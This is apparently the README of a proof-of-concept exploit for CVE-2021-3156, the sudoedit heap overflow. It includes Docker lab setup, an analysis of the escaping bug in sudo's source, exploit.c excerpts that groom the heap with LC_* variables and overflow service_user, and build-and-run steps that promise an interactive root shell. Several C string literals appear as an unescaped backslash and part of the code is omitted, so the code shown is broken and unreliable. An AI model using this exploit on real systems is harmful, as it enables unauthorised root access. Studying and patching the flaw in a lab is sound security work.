
fixed version
Create the image using Dockerfile
docker build -t cve-2021-3156:ubuntu2004 .
Create a container using the image
docker run --rm -it cve-2021-3156:ubuntu2004 /bin/bash
In Sudo versions prior to 1.9.5p2, there is an off-by-one error that can lead to a heap-based buffer overflow.
An attacker can execute:
sudoedit -s <argument ending with a single backslash \>
to elevate privileges to root without requiring a password.
Taking the sudo source code version 1.8.31p1 as an example, when executing sudoedit -s, if there is an escape character \ in the input, the parse_args function in parse_args.c is first called to escape the characters in the command. The following code snippet handles the escaping of special characters in the input.
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
Next, before saving the externally input arguments to heap or stack memory, the program calls the set_cmnd function in sudoers.c to copy the command-line arguments to heap memory, where it needs to remove all escape characters \ using the following code.
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
The problem is: When parse_args does not escape the arguments (i.e., does not insert extra \), the program still proceeds to the set_cmnd function to remove escapes. However, because the input \ was not escaped, the condition in the if statement is met, causing the \ to be skipped and the subsequent arguments to be copied into user_args. If the copied content is too long, a heap overflow occurs.
The exploit consists of two parts: exploit.c and shellcode.c. exploit.c is responsible for constructing argv and envp, calling sudoedit via execve, and exploiting the vulnerability through a heap overflow.
exploit.c, the program constructs a buffer (buf) of size 0xf0 to precisely control the heap layout, using a buffer overflow to overwrite key structures. The overflow size is controlled by the padding in buf ('Y' and \), and then sudoedit is invoked via execve to trigger the vulnerability. char buf[0xf0] = {0};
memset(buf, 'Y', 0xe0);
strcat(buf, "\");
char* argv[] = {
"sudoedit",
"-s",
buf,
NULL};
LC_* environment variables are used for heap adjustment. Through the layout of these environment variables, the target structure service_user is placed in the overflow path. The overflow data is passed via the overflow environment variable and overwrites the fields of the service_user structure. char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
memset(messages + strlen(messages), 'A', 0xb8);
char overflow[0x500] = {0};
memset(overflow, 'X', 0x4cf);
strcat(overflow, "\");
envp array, the overflow data is passed to sudoedit, overwriting the target structure and achieving exploitation. char* envp[] = {
overflow,
"\", "\", "\", "\", "\", "\", "\", "\",
"XXXXXXX\",
// omitted content
NULL};
execve call triggers the execution of sudoedit. execve("/usr/bin/sudoedit", argv, envp);
Tested on Ubuntu 20.04 against sudo 1.8.31
You can check if your sudo version is vulnerable with the following command:
$ sudoedit -s Y
If it prompts for a password, it is likely vulnerable; if it prints usage information, the version is not vulnerable.
You can downgrade sudo on Ubuntu 20.04 to a vulnerable version for testing with:
$ sudo apt install sudo=1.8.31-1ubuntu1
Usage Run make to compile and execute the exploit:
$ make
$ ./exploit
After successfully exploiting the vulnerability, an interactive root shell is obtained, allowing execution of privileged operations.
